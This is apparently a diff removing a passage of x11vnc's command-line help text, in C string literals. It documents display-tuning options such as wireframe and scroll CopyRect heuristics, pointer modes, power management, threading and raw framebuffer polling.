-" heuristics and may not always work: it depends on your\n"
-" window manager and even how you move things around.\n"
-" See -pointer_mode below for discussion of the \"bogging\n"
-" down\" problem this tries to avoid.\n"
-" Default: %s\n"
-"\n"
-" Shorter aliases: -wf [str] and -nowf\n"
-"\n"
-" The value \"str\" is optional and, of course, is\n"
-" packed with many tunable parameters for this scheme:\n"
-"\n"
-" Format: shade,linewidth,percent,T+B+L+R,mod,t1+t2+t3+t4\n"
-" Default: %s\n"
-"\n"
-" If you leave nothing between commas: \",,\" the default\n"
-" value is used. If you don't specify enough commas,\n"
-" the trailing parameters are set to their defaults.\n"
-"\n"
-" \"shade\" indicate the \"color\" for the wireframe,\n"
-" usually a greyscale: 0-255, however for 16 and 32bpp you\n"
-" can specify an rgb.txt X color (e.g. \"dodgerblue\") or\n"
-" a value > 255 is treated as RGB (e.g. red is 0xff0000).\n"
-" \"linewidth\" sets the width of the wireframe in pixels.\n"
-" \"percent\" indicates to not apply the wireframe scheme\n"
-" to windows with area less than this percent of the\n"
-" full screen.\n"
-"\n"
-" \"T+B+L+R\" indicates four integers for how close in\n"
-" pixels the pointer has to be from the Top, Bottom, Left,\n"
-" or Right edges of the window to consider wireframing.\n"
-" This is a speedup to quickly exclude a window from being\n"
-" wireframed: set them all to zero to not try the speedup\n"
-" (scrolling and selecting text will likely be slower).\n"
-"\n"
-" \"mod\" specifies if a button down event in the\n"
-" interior of the window with a modifier key (Alt, Shift,\n"
-" etc.) down should indicate a wireframe opportunity.\n"
-" It can be \"0\" or \"none\" to skip it, \"1\" or \"all\"\n"
-" to apply it to any modifier, or \"Shift\", \"Alt\",\n"
-" \"Control\", \"Meta\", \"Super\", or \"Hyper\" to only\n"
-" apply for that type of modifier key.\n"
-"\n"
-" \"t1+t2+t3+t4\" specify four floating point times in\n"
-" seconds: t1 is how long to wait for the pointer to move,\n"
-" t2 is how long to wait for the window to start moving\n"
-" or being resized (for some window managers this can be\n"
-" rather long), t3 is how long to keep a wireframe moving\n"
-" before repainting the window. t4 is the minimum time\n"
-" between sending wireframe \"animations\". If a slow\n"
-" link is detected, these values may be automatically\n"
-" changed to something better for a slow link.\n"
-"\n"
-"-nowireframelocal By default, mouse motion and button presses of a\n"
-" user sitting at the LOCAL display are monitored for\n"
-" wireframing opportunities (so that the changes will be\n"
-" sent efficiently to the VNC clients). Use this option\n"
-" to disable this behavior.\n"
-"\n"
-"-wirecopyrect mode Since the -wireframe mechanism evidently tracks moving\n"
-"-nowirecopyrect windows accurately, a speedup can be obtained by\n"
-" telling the VNC viewers to locally copy the translated\n"
-" window region. This is the VNC CopyRect encoding:\n"
-" the framebuffer update doesn't need to send the actual\n"
-" new image data.\n"
-"\n"
-" Shorter aliases: -wcr [mode] and -nowcr\n"
-"\n"
-" \"mode\" can be \"never\" (same as -nowirecopyrect)\n"
-" to never try the copyrect, \"top\" means only do it if\n"
-" the window was not covered by any other windows, and\n"
-" \"always\" means to translate the orginally unobscured\n"
-" region (this may look odd as the remaining pieces come\n"
-" in, but helps on a slow link). Default: \"%s\"\n"
-"\n"
-" Note: there can be painting errors or slow response\n"
-" when using -scale so you may want to disable CopyRect\n"
-" in this case \"-wirecopyrect never\" on the command\n"
-" line or by remote-control. Or you can also use the\n"
-" \"-scale xxx:nocr\" scale option.\n"
-"\n"
-"-debug_wireframe Turn on debugging info printout for the wireframe\n"
-" heuristics. \"-dwf\" is an alias. Specify multiple\n"
-" times for more output.\n"
-"\n"
-"-scrollcopyrect mode Like -wirecopyrect, but use heuristics to try to guess\n"
-"-noscrollcopyrect if a window has scrolled its contents (either vertically\n"
-" or horizontally). This requires the RECORD X extension\n"
-" to \"snoop\" on X applications (currently for certain\n"
-" XCopyArea and XConfigureWindow X protocol requests).\n"
-" Examples: Hitting <Return> in a terminal window when the\n"
-" cursor was at the bottom, the text scrolls up one line.\n"
-" Hitting <Down> arrow in a web browser window, the web\n"
-" page scrolls up a small amount. Or scrolling with a\n"
-" scrollbar or mouse wheel.\n"
-"\n"
-" Shorter aliases: -scr [mode] and -noscr\n"
-"\n"
-" This scheme will not always detect scrolls, but when\n"
-" it does there is a nice speedup from using the VNC\n"
-" CopyRect encoding (see -wirecopyrect). The speedup\n"
-" is both in reduced network traffic and reduced X\n"
-" framebuffer polling/copying. On the other hand, it may\n"
-" induce undesired transients (e.g. a terminal cursor\n"
-" being scrolled up when it should not be) or other\n"
-" painting errors (window tearing, bunching-up, etc).\n"
-" These are automatically repaired in a short period\n"
-" of time. If this is unacceptable disable the feature\n"
-" with -noscrollcopyrect.\n"
-"\n"
-" Screen clearing kludges: for testing at least, there\n"
-" are some \"magic key sequences\" (must be done in less\n"
-" than 1 second) to aid repairing painting errors that\n"
-" may be seen when using this mode:\n"
-"\n"
-" 3 Alt_L's in a row: resend whole screen,\n"
-" 4 Alt_L's in a row: reread and resend whole screen,\n"
-" 3 Super_L's in a row: mark whole screen for polling,\n"
-" 4 Super_L's in a row: reset RECORD context,\n"
-" 5 Super_L's in a row: try to push a black screen\n"
-"\n"
-" note: Alt_L is the Left \"Alt\" key (a single key)\n"
-" Super_L is the Left \"Super\" key (Windows flag).\n"
-" Both of these are modifier keys, and so should not\n"
-" generate characters when pressed by themselves. Also,\n"
-" your VNC viewer may have its own refresh hot-key\n"
-" or button.\n"
-"\n"
-" \"mode\" can be \"never\" (same as -noscrollcopyrect)\n"
-" to never try the copyrect, \"keys\" means to try it\n"
-" in response to keystrokes only, \"mouse\" means to\n"
-" try it in response to mouse events only, \"always\"\n"
-" means to do both. Default: \"%s\"\n"
-"\n"
-" Note: there can be painting errors or slow response\n"
-" when using -scale so you may want to disable CopyRect\n"
-" in this case \"-scrollcopyrect never\" on the command\n"
-" line or by remote-control. Or you can also use the\n"
-" \"-scale xxx:nocr\" scale option.\n"
-"\n"
-"-scr_area n Set the minimum area in pixels for a rectangle\n"
-" to be considered for the -scrollcopyrect detection\n"
-" scheme. This is to avoid wasting the effort on small\n"
-" rectangles that would be quickly updated the normal way.\n"
-" E.g. suppose an app updated the position of its skinny\n"
-" scrollbar first and then shifted the large panel\n"
-" it controlled. We want to be sure to skip the small\n"
-" scrollbar and get the large panel. Default: %d\n"
-"\n"
-"-scr_skip list Skip scroll detection for applications matching\n"
-" the comma separated list of strings in \"list\".\n"
-" Some applications implement their scrolling in\n"
-" strange ways where the XCopyArea, etc, also applies\n"
-" to invisible portions of the window: if we CopyRect\n"
-" those areas it looks awful during the scroll and\n"
-" there may be painting errors left after the scroll.\n"
-" Soffice.bin is the worst known offender.\n"
-"\n"
-" Use \"##\" to denote the start of the application class\n"
-" (e.g. \"##XTerm\") and \"++\" to denote the start\n"
-" of the application instance name (e.g. \"++xterm\").\n"
-" The string your list is matched against is of the form\n"
-" \"^^WM_NAME##Class++Instance<same-for-any-subwindows>\"\n"
-" The \"xlsclients -la\" command will provide this info.\n"
-"\n"
-" If a pattern is prefixed with \"KEY:\" it only applies\n"
-" to Keystroke generated scrolls (e.g. Up arrow). If it\n"
-" is prefixed with \"MOUSE:\" it only applies to Mouse\n"
-" induced scrolls (e.g. dragging on a scrollbar).\n"
-" Default: %s\n"
-"\n"
-"-scr_inc list Opposite of -scr_skip: this list is consulted first\n"
-" and if there is a match the window will be monitored\n"
-" via RECORD for scrolls irrespective of -scr_skip.\n"
-" Use -scr_skip '*' to skip anything that does not match\n"
-" your -scr_inc. Use -scr_inc '*' to include everything.\n"
-"\n"
-"-scr_keys list For keystroke scroll detection, only apply the RECORD\n"
-" heuristics to the comma separated list of keysyms in\n"
-" \"list\". You may find the RECORD overhead for every\n"
-" one of your keystrokes disrupts typing too much, but you\n"
-" don't want to turn it off completely with \"-scr mouse\"\n"
-" and -scr_parms does not work or is too confusing.\n"
-"\n"
-" The listed keysyms can be numeric or the keysym\n"
-" names in the <X11/keysymdef.h> header file or from the\n"
-" xev(1) program. Example: \"-scr_keys Up,Down,Return\".\n"
-" One probably wants to have application specific lists\n"
-" (e.g. for terminals, etc) but that is too icky to think\n"
-" about for now...\n"
-"\n"
-" If \"list\" begins with the \"-\" character the list\n"
-" is taken as an exclude list: all keysyms except those\n"
-" list will be considered. The special string \"builtin\"\n"
-" expands to an internal list of keysyms that are likely\n"
-" to cause scrolls. BTW, by default modifier keys,\n"
-" Shift_L, Control_R, etc, are skipped since they almost\n"
-" never induce scrolling by themselves.\n"
-"\n"
-"-scr_term list Yet another cosmetic kludge. Apply shell/terminal\n"
-" heuristics to applications matching comma separated\n"
-" list (same as for -scr_skip/-scr_inc). For example an\n"
-" annoying transient under scroll detection is if you\n"
-" hit Enter in a terminal shell with full text window,\n"
-" the solid text cursor block will be scrolled up.\n"
-" So for a short time there are two (or more) block\n"
-" cursors on the screen. There are similar scenarios,\n"
-" (e.g. an output line is duplicated).\n"
-"\n"
-" These transients are induced by the approximation of\n"
-" scroll detection (e.g. it detects the scroll, but not\n"
-" the fact that the block cursor was cleared just before\n"
-" the scroll). In nearly all cases these transient errors\n"
-" are repaired when the true X framebuffer is consulted\n"
-" by the normal polling. But they are distracting, so\n"
-" what this option provides is extra \"padding\" near the\n"
-" bottom of the terminal window: a few extra lines near\n"
-" the bottom will not be scrolled, but rather updated\n"
-" from the actual X framebuffer. This usually reduces\n"
-" the annoying artifacts. Use \"none\" to disable.\n"
-" Default: \"%s\"\n"
-"\n"
-"-scr_keyrepeat lo-hi If a key is held down (or otherwise repeats rapidly) and\n"
-" this induces a rapid sequence of scrolls (e.g. holding\n"
-" down an Arrow key) the \"scrollcopyrect\" detection\n"
-" and overhead may not be able to keep up. A time per\n"
-" single scroll estimate is performed and if that estimate\n"
-" predicts a sustainable scrollrate of keys per second\n"
-" between \"lo\" and \"hi\" then repeated keys will be\n"
-" DISCARDED to maintain the scrollrate. For example your\n"
-" key autorepeat may be 25 keys/sec, but for a large\n"
-" window or slow link only 8 scrolls per second can be\n"
-" sustained, then roughly 2 out of every 3 repeated keys\n"
-" will be discarded during this period. Default: \"%s\"\n"
-"\n"
-"-scr_parms string Set various parameters for the scrollcopyrect mode.\n"
-" The format is similar to that for -wireframe and packed\n"
-" with lots of parameters:\n"
-"\n"
-" Format: T+B+L+R,t1+t2+t3,s1+s2+s3+s4+s5\n"
-" Default: %s\n"
-"\n"
-" If you leave nothing between commas: \",,\" the default\n"
-" value is used. If you don't specify enough commas,\n"
-" the trailing parameters are set to their defaults.\n"
-"\n"
-" \"T+B+L+R\" indicates four integers for how close in\n"
-" pixels the pointer has to be from the Top, Bottom, Left,\n"
-" or Right edges of the window to consider scrollcopyrect.\n"
-" If -wireframe overlaps it takes precedence. This is a\n"
-" speedup to quickly exclude a window from being watched\n"
-" for scrollcopyrect: set them all to zero to not try\n"
-" the speedup (things like selecting text will likely\n"
-" be slower).\n"
-"\n"
-" \"t1+t2+t3\" specify three floating point times in\n"
-" seconds that apply to scrollcopyrect detection with\n"
-" *Keystroke* input: t1 is how long to wait after a key\n"
-" is pressed for the first scroll, t2 is how long to keep\n"
-" looking after a Keystroke scroll for more scrolls.\n"
-" t3 is how frequently to try to update surrounding\n"
-" scrollbars outside of the scrolling area (0.0 to\n"
-" disable)\n"
-"\n"
-" \"s1+s2+s3+s4+s5\" specify five floating point times\n"
-" in seconds that apply to scrollcopyrect detection with\n"
-" *Mouse* input: s1 is how long to wait after a mouse\n"
-" button is pressed for the first scroll, s2 is how long\n"
-" to keep waiting for additional scrolls after the first\n"
-" Mouse scroll was detected. s3 is how frequently to\n"
-" try to update surrounding scrollbars outside of the\n"
-" scrolling area (0.0 to disable). s4 is how long to\n"
-" buffer pointer motion (to try to get fewer, bigger\n"
-" mouse scrolls). s5 is the maximum time to spend just\n"
-" updating the scroll window without updating the rest\n"
-" of the screen.\n"
-"\n"
-"-fixscreen string Periodically \"repair\" the screen based on settings\n"
-" in \"string\". Hopefully you won't need this option,\n"
-" it is intended for cases when the -scrollcopyrect or\n"
-" -wirecopyrect features leave too many painting errors,\n"
-" but it can be used for any scenario. This option\n"
-" periodically performs costly operations and so\n"
-" interactive response may be reduced when it is on.\n"
-" You can use 3 Alt_L's (the Left \"Alt\" key) taps in\n"
-" a row (as described under -scrollcopyrect) instead to\n"
-" manually request a screen repaint when it is needed.\n"
-"\n"
-" \"string\" is a comma separated list of one or more of\n"
-" the following: \"V=t\", \"C=t\", \"X=t\", and \"8=t\".\n"
-" In these \"t\" stands for a time in seconds (it is\n"
-" a floating point even though one should usually use\n"
-" values > 2 to avoid wasting resources). V sets how\n"
-" frequently the entire screen should be sent to viewers\n"
-" (it is like the 3 Alt_L's). C sets how long to wait\n"
-" after a CopyRect to repaint the full screen. X sets\n"
-" how frequently to reread the full X11 framebuffer from\n"
-" the X server and push it out to connected viewers.\n"
-" Use of X should be rare, please report a bug if you\n"
-" find you need it. 8= applies only for -8to24 mode: it\n"
-" sets how often the non-default visual regions of the\n"
-" screen (e.g. 8bpp windows) are refreshed. Examples:\n"
-" -fixscreen V=10 -fixscreen C=10\n"
-"\n"
-"-debug_scroll Turn on debugging info printout for the scroll\n"
-" heuristics. \"-ds\" is an alias. Specify it multiple\n"
-" times for more output.\n"
-"\n"
-"-noxrecord Disable any use of the RECORD extension. This is\n"
-" currently used by the -scrollcopyrect scheme and to\n"
-" monitor X server grabs.\n"
-"\n"
-"-grab_buster Some of the use of the RECORD extension can leave a\n"
-"-nograb_buster tiny window for XGrabServer deadlock. This is only if\n"
-" the whole-server grabbing application expects mouse or\n"
-" keyboard input before releasing the grab. It is usually\n"
-" a window manager that does this. x11vnc takes care to\n"
-" avoid the problem, but if caught x11vnc will freeze.\n"
-" Without -grab_buster, the only solution is to go the\n"
-" physical display and give it some input to satisfy the\n"
-" grabbing app. Or manually kill and restart the window\n"
-" manager if that is feasible. With -grab_buster, x11vnc\n"
-" will fork a helper thread and if x11vnc appears to be\n"
-" stuck in a grab after a period of time (20-30 sec) then\n"
-" it will inject some user input: button clicks, Escape,\n"
-" mouse motion, etc to try to break the grab. If you\n"
-" experience a lot of grab deadlock, please report a bug.\n"
-"\n"
-"-debug_grabs Turn on debugging info printout with respect to\n"
-" XGrabServer() deadlock for -scrollcopyrect mode.\n"
-"\n"
-"-debug_sel Turn on debugging info printout with respect to\n"
-" PRIMARY, CLIPBOARD, and CUTBUFFER0 selections.\n"
-"\n"
-"-pointer_mode n Various pointer motion update schemes. \"-pm\" is\n"
-" an alias. The problem is pointer motion can cause\n"
-" rapid changes on the screen: consider the rapid\n"
-" changes when you drag a large window around opaquely.\n"
-" Neither x11vnc's screen polling and vnc compression\n"
-" routines nor the bandwidth to the vncviewers can keep\n"
-" up these rapid screen changes: everything will bog down\n"
-" when dragging or scrolling. So a scheme has to be used\n"
-" to \"eat\" much of that pointer input before re-polling\n"
-" the screen and sending out framebuffer updates. The\n"
-" mode number \"n\" can be 0 to %d and selects one of\n"
-" the schemes desribed below.\n"
-"\n"
-" Note that the -wireframe and -scrollcopyrect modes\n"
-" complement -pointer_mode by detecting (and improving)\n"
-" certain periods of \"rapid screen change\".\n"
-"\n"
-" n=0: does the same as -nodragging. (all screen polling\n"
-" is suspended if a mouse button is pressed.)\n"
-"\n"
-" n=1: was the original scheme used to about Jan 2004:\n"
-" it basically just skips -input_skip keyboard or pointer\n"
-" events before repolling the screen.\n"
-"\n"
-" n=2 is an improved scheme: by watching the current rate\n"
-" of input events it tries to detect if it should try to\n"
-" \"eat\" additional pointer events before continuing.\n"
-"\n"
-" n=3 is basically a dynamic -nodragging mode: it detects\n"
-" when the mouse motion has paused and then refreshes\n"
-" the display.\n"
-"\n"
-" n=4 attempts to measures network rates and latency,\n"
-" the video card read rate, and how many tiles have been\n"
-" changed on the screen. From this, it aggressively tries\n"
-" to push screen \"frames\" when it decides it has enough\n"
-" resources to do so. NOT FINISHED.\n"
-"\n"
-" The default n is %d. Note that modes 2, 3, 4 will skip\n"
-" -input_skip keyboard events (but it will not count\n"
-" pointer events). Also note that these modes are not\n"
-" available in -threads mode which has its own pointer\n"
-" event handling mechanism.\n"
-"\n"
-" To try out the different pointer modes to see which\n"
-" one gives the best response for your usage, it is\n"
-" convenient to use the remote control function, for\n"
-" example \"x11vnc -R pm:4\" or the tcl/tk gui (Tuning ->\n"
-" pointer_mode -> n).\n"
-"\n"
-"-input_skip n For the pointer handling when non-threaded: try to\n"
-" read n user input events before scanning display. n < 0\n"
-" means to act as though there is always user input.\n"
-" Default: %d\n"
-"\n"
-"-allinput Have x11vnc read and process all available client input\n"
-" before proceeding.\n"
-"\n"
-"-input_eagerly Similar to -allinput but use the handleEventsEagerly\n"
-" mechanism built into LibVNCServer.\n"
-"\n"
-"-speeds rd,bw,lat x11vnc tries to estimate some speed parameters that\n"
-" are used to optimize scheduling (e.g. -pointer_mode\n"
-" 4, -wireframe, -scrollcopyrect) and other things.\n"
-" Use the -speeds option to set these manually.\n"
-" The triple \"rd,bw,lat\" corresponds to video h/w\n"
-" read rate in MB/sec, network bandwidth to clients in\n"
-" KB/sec, and network latency to clients in milliseconds,\n"
-" respectively. If a value is left blank, e.g. \"-speeds\n"
-" ,100,15\", then the internal scheme is used to estimate\n"
-" the empty value(s).\n"
-"\n"
-" Typical PC video cards have read rates of 5-10 MB/sec.\n"
-" If the framebuffer is in main memory instead of video\n"
-" h/w (e.g. SunRay, shadowfb, dummy driver, Xvfb), the\n"
-" read rate may be much faster. \"x11perf -getimage500\"\n"
-" can be used to get a lower bound (remember to factor\n"
-" in the bytes per pixel). It is up to you to estimate\n"
-" the network bandwith and latency to clients. For the\n"
-" latency the ping(1) command can be used.\n"
-"\n"
-" For convenience there are some aliases provided,\n"
-" e.g. \"-speeds modem\". The aliases are: \"modem\" for\n"
-" 6,4,200; \"dsl\" for 6,100,50; and \"lan\" for 6,5000,1\n"
-"\n"
-"-wmdt string For some features, e.g. -wireframe and -scrollcopyrect,\n"
-" x11vnc has to work around issues for certain window\n"
-" managers or desktops (currently kde and xfce).\n"
-" By default it tries to guess which one, but it can\n"
-" guess incorrectly. Use this option to indicate which\n"
-" wm/dt. \"string\" can be \"gnome\", \"kde\", \"cde\",\n"
-" \"xfce\", or \"root\" (classic X wm). Anything else\n"
-" is interpreted as \"root\".\n"
-"\n"
-"-debug_pointer Print debugging output for every pointer event.\n"
-"-debug_keyboard Print debugging output for every keyboard event.\n"
-" Same as -dp and -dk, respectively. Use multiple\n"
-" times for more output.\n"
-"\n"
-"-defer time Time in ms to delay sending updates to connected clients\n"
-" (deferUpdateTime) Default: %d\n"
-"\n"
-"-wait time Time in ms to pause between screen polls. Used to cut\n"
-" down on load. Default: %d\n"
-"\n"
-"-extra_fbur n Perform extra FrameBufferUpdateRequests checks to\n"
-" try to be in better sync with the client's requests.\n"
-" What this does is perform extra polls of the client\n"
-" socket at critical times (before '-defer' and '-wait'\n"
-" calls.) The default is n=1. Set to a larger number to\n"
-" insert more checks or set to n=0 to disable. A downside\n"
-" of these extra calls is that more mouse input may be\n"
-" processed than desired.\n"
-"\n"
-"-wait_ui factor Factor by which to cut the -wait time if there\n"
-" has been recent user input (pointer or keyboard).\n"
-" Improves response, but increases the load whenever you\n"
-" are moving the mouse or typing. Default: %.2f\n"
-"-setdefer n When the -wait_ui mechanism cuts down the wait time ms,\n"
-" set the defer time to the same ms value. n=1 to enable,\n"
-" 0 to disable, and -1 to set defer to 0 (no delay).\n"
-" Similarly, 2 and -2 indicate 'urgent_update' mode should\n"
-" be used to push the updates even sooner. Default: 1\n"
-"-nowait_bog Do not detect if the screen polling is \"bogging down\"\n"
-" and sleep more. Some activities with no user input can\n"
-" slow things down a lot: consider a large terminal window\n"
-" with a long build running in it continuously streaming\n"
-" text output. By default x11vnc will try to detect this\n"
-" (3 screen polls in a row each longer than 0.25 sec with\n"
-" no user input), and sleep up to 1.5 secs to let things\n"
-" \"catch up\". Use this option to disable that detection.\n"
-"-slow_fb time Floating point time in seconds to delay all screen\n"
-" polling. For special purpose usage where a low frame\n"
-" rate is acceptable and desirable, but you want the\n"
-" user input processed at the normal rate so you cannot\n"
-" use -wait.\n"
-"-xrefresh time Floating point time in seconds to indicate how often to\n"
-" do the equivalent of xrefresh(1) to force all windows\n"
-" (in the viewable area if -id, -sid, or -clip is used)\n"
-" to repaint themselves. Use this only if applications\n"
-" misbehave by not repainting themselves properly.\n"
-" See also -noxdamage.\n"
-"-nap Monitor activity and if it is low take longer naps\n"
-"-nonap between screen polls to really cut down load when idle.\n"
-" Default: %s\n"
-"-sb time Time in seconds after NO activity (e.g. screen blank)\n"
-" to really throttle down the screen polls (i.e. sleep\n"
-" for about 1.5 secs). Use 0 to disable. Default: %d\n"
-" Set the env. var. X11VNC_SB_FACTOR to scale it.\n"
-"\n"
-"-readtimeout n Set LibVNCServer rfbMaxClientWait to n seconds. On\n"
-" slow links that take a long time to paint the first\n"
-" screen LibVNCServer may hit the timeout and drop the\n"
-" connection. Default: %d seconds.\n"
-"-ping n Send a 1x1 framebuffer update to all clients every n\n"
-" seconds (e.g. to try to keep a network connection alive)\n"
-"\n"
-"-nofbpm If the system supports the FBPM (Frame Buffer Power\n"
-"-fbpm Management) extension (i.e. some Sun systems), then\n"
-" prevent the video h/w from going into a reduced power\n"
-" state when VNC clients are connected.\n"
-"\n"
-" FBPM capable video h/w save energy when the workstation\n"
-" is idle by going into low power states (similar to DPMS\n"
-" for monitors). This interferes with x11vnc's polling\n"
-" of the framebuffer data.\n"
-"\n"
-" \"-nofbpm\" means prevent FBPM low power states whenever\n"
-" VNC clients are connected, while \"-fbpm\" means to not\n"
-" monitor the FBPM state at all. See the xset(1) manpage\n"
-" for details. -nofbpm is basically the same as running\n"
-" \"xset fbpm force on\" periodically. Default: %s\n"
-"\n"
-"-nodpms If the system supports the DPMS (Display Power Management\n"
-"-dpms Signaling) extension, then prevent the monitor from\n"
-" going into a reduced power state when VNC clients\n"
-" are connected.\n"
-"\n"
-" DPMS reduced power monitor states are a good thing\n"
-" and you normally want the power down to take place\n"
-" (usually x11vnc has no problem exporting the display in\n"
-" this state). You probably only want to use \"-nodpms\"\n"
-" to work around problems with Screen Savers kicking\n"
-" on in DPMS low power states. There is known problem\n"
-" with kdesktop_lock on KDE where the screen saver keeps\n"
-" kicking in every time user input stops for a second\n"
-" or two. Specifying \"-nodpms\" works around it.\n"
-"\n"
-" \"-nodpms\" means prevent DPMS low power states whenever\n"
-" VNC clients are connected, while \"-dpms\" means to not\n"
-" monitor the DPMS state at all. See the xset(1) manpage\n"
-" for details. -nodpms is basically the same as running\n"
-" \"xset dpms force on\" periodically. Default: %s\n"
-"\n"
-"-forcedpms If the system supports the DPMS (Display Power\n"
-" Management Signaling) extension, then try to keep the\n"
-" monitor in a powered off state. This is to prevent\n"
-" nosey people at the physical display from viewing what\n"
-" is on the screen. Be sure to lock the screen before\n"
-" disconnecting.\n"
-"\n"
-" This method is far from bullet proof, e.g. suppose\n"
-" someone attaches a non-DPMS monitor, or loads the\n"
-" machine so that there is a gap of time before x11vnc\n"
-" restores the powered off state? On many machines if\n"
-" he floods it with keyboard and mouse input he can see\n"
-" flashes of what is on the screen before the DPMS off\n"
-" state is reestablished. For this to work securely\n"
-" there would need to be support in the X server to do\n"
-" this exactly rather than approximately with DPMS.\n"
-"\n"
-"-clientdpms As -forcedpms but only when VNC clients are connected.\n"
-"\n"
-"-noserverdpms The UltraVNC ServerInput extension is supported.\n"
-" This allows the VNC viewer to click a button that will\n"
-" cause the server (x11vnc) to try to disable keyboard\n"
-" and mouse input at the physical display and put the\n"
-" monitor in dpms powered off state. Use this option to\n"
-" skip powering off the monitor.\n"
-"\n"
-"-noultraext Disable the following UltraVNC extensions: SingleWindow\n"
-" and ServerInput. The others managed by LibVNCServer\n"
-" (textchat, 1/n scaling, rfbEncodingUltra) are not.\n"
-"\n"
-"-chatwindow Place a local UltraVNC chat window on the X11 display\n"
-" that x11vnc is polling. That way the person on the VNC\n"
-" viewer-side can chat with the person at the physical\n"
-" X11 console. (e.g. helpdesk w/o telephone)\n"
-"\n"
-" For this to work the SSVNC package (version 1.0.21 or\n"
-" later) MUST BE installed on the system where x11vnc runs\n"
-" and the 'ssvnc' command must be available in $PATH.\n"
-" The ssvncviewer is used as a chat window helper.\n"
-" See http://www.karlrunge.com/x11vnc/ssvnc.html\n"
-"\n"
-" This option implies '-rfbversion 3.6' so as to trick\n"
-" UltraVNC viewers, otherwise they assume chat is not\n"
-" available. To specify a different rfbversion, place\n"
-" it after the -chatwindow option on the cmdline.\n"
-"\n"
-" See also the remote control 'chaton' and 'chatoff'\n"
-" actions. These can also be set from the tkx11vnc GUI.\n"
-"\n"
-"-noxdamage Do not use the X DAMAGE extension to detect framebuffer\n"
-" changes even if it is available. Use -xdamage if your\n"
-" default is to have it off.\n"
-"\n"
-" x11vnc's use of the DAMAGE extension: 1) significantly\n"
-" reduces the load when the screen is not changing much,\n"
-" and 2) detects changed areas (small ones by default)\n"
-" more quickly.\n"
-"\n"
-" Currently the DAMAGE extension is overly conservative\n"
-" and often reports large areas (e.g. a whole terminal\n"
-" or browser window) as damaged even though the actual\n"
-" changed region is much smaller (sometimes just a few\n"
-" pixels). So heuristics were introduced to skip large\n"
-" areas and use the damage rectangles only as \"hints\"\n"
-" for the traditional scanline polling. The following\n"
-" tuning parameters are introduced to adjust this\n"
-" behavior:\n"
-"\n"
-"-xd_area A Set the largest DAMAGE rectangle area \"A\" (in\n"
-" pixels: width * height) to trust as truly damaged:\n"
-" the rectangle will be copied from the framebuffer\n"
-" (slow) no matter what. Set to zero to trust *all*\n"
-" rectangles. Default: %d\n"
-"-xd_mem f Set how long DAMAGE rectangles should be \"remembered\",\n"
-" \"f\" is a floating point number and is in units of the\n"
-" scanline repeat cycle time (%d iterations). The default\n"
-" (%.1f) should give no painting problems. Increase it if\n"
-" there are problems or decrease it to live on the edge\n"
-" (perhaps useful on a slow machine).\n"
-"\n"
-"-sigpipe string Broken pipe (SIGPIPE) handling. \"string\" can be\n"
-" \"ignore\" or \"exit\". For \"ignore\" LibVNCServer\n"
-" will handle the abrupt loss of a client and continue,\n"
-" for \"exit\" x11vnc will cleanup and exit at the 1st\n"
-" broken connection.\n"
-"\n"
-" This option is not really needed since LibVNCServer\n"
-" is doing the correct thing now for quite some time.\n"
-" However, for convenience you can use it to ignore other\n"
-" signals, e.g. \"-sigpipe ignore:HUP,INT,TERM\" in case\n"
-" that would be useful for some sort of application.\n"
-" You can also put \"exit:..\" in the list to have x11vnc\n"
-" cleanup on the listed signals. \"-sig\" is an alias\n"
-" for this option if you don't like the 'pipe'. Example:\n"
-" -sig ignore:INT,TERM,exit:USR1\n"
-"\n"
-"-threads Whether or not to use the threaded LibVNCServer\n"
-"-nothreads algorithm [rfbRunEventLoop] if libpthread is available.\n"
-" In this mode new threads (one for input and one\n"
-" for output) are created to handle each new client.\n"
-" Default: %s.\n"
-"\n"
-" Thread stability is much improved in version 0.9.8.\n"
-"\n"
-" Multiple clients in threaded mode should be stable\n"
-" for the ZRLE encoding on all platforms. The Tight and\n"
-" Zlib encodings are currently only stable on Linux for\n"
-" multiple clients. Compile with -DTLS=__thread if your\n"
-" OS and compiler and linker support it.\n"
-"\n"
-" For resizes (randr, etc.) set this env. var. to the number\n"
-" of milliseconds to sleep: X11VNC_THREADS_NEW_FB_SLEEP\n"
-" at various places in the do_new_fb() action. This is to\n"
-" let various activities settle. Default is about 500ms.\n"
-"\n"
-" Multiple clients in threaded mode could yield better\n"
-" performance for 'class-room' broadcasting usage; also in\n"
-" -appshare broadcast mode. See also the -reflect option.\n"
-"\n"
-"-fs f If the fraction of changed tiles in a poll is greater\n"
-" than f, the whole screen is updated. Default: %.2f\n"
-"-gaps n Heuristic to fill in gaps in rows or cols of n or\n"
-" less tiles. Used to improve text paging. Default: %d\n"
-"-grow n Heuristic to grow islands of changed tiles n or wider\n"
-" by checking the tile near the boundary. Default: %d\n"
-"-fuzz n Tolerance in pixels to mark a tiles edges as changed.\n"
-" Default: %d\n"
-"-debug_tiles Print debugging output for tiles, fb updates, etc.\n"
-"\n"
-"-snapfb Instead of polling the X display framebuffer (fb)\n"
-" for changes, periodically copy all of X display fb\n"
-" into main memory and examine that copy for changes.\n"
-" (This setting also applies for non-X -rawfb modes).\n"
-" Under some circumstances this will improve interactive\n"
-" response, or at least make things look smoother, but in\n"
-" others (most!) it will make the response worse. If the\n"
-" video h/w fb is such that reading small tiles is very\n"
-" slow this mode could help. To keep the \"framerate\"\n"
-" up the screen size x bpp cannot be too large. Note that\n"
-" this mode is very wasteful of memory I/O resources\n"
-" (it makes full screen copies even if nothing changes).\n"
-" It may be of use in video capture-like applications,\n"
-" webcams, or where window tearing is a problem.\n"
-"\n"
-"-rawfb string Instead of polling X, poll the memory object specified\n"
-" in \"string\".\n"
-"\n"
-" For file polling, to memory map mmap(2) a file use:\n"
-" \"map:/path/to/a/file@WxHxB\", with framebuffer Width,\n"
-" Height, and Bits per pixel. \"mmap:...\" is the\n"
-" same.\n"
-"\n"
-" If there is trouble with mmap, use \"file:/...\"\n"
-" for slower lseek(2) based reading.\n"
-"\n"
-" Use \"snap:...\" to imply -snapfb mode and the \"file:\"\n"
-" access (this is for unseekable devices that only provide\n"
-" the fb all at once, e.g. a video camera provides the\n"
-" whole frame).\n"
-"\n"
-" For shared memory segments string is of the form:\n"
-" \"shm:N@WxHxB\" which specifies a shmid N and with\n"
-" WxHxB as above. See shmat(1) and ipcs(1)\n"
-"\n"
-" If you do not supply a type \"map\" is assumed if\n"
-" the file exists (see the next paragraphs for some\n"
-" exceptions to this.)\n"
-"\n"
-" If string is \"setup:cmd\", then the command \"cmd\"\n"
-" is run and the first line from it is read and used\n"
-" as \"string\". This allows initializing the device,\n"
-" determining WxHxB, etc. These are often done as root\n"
-" so take care.\n"
-"\n"
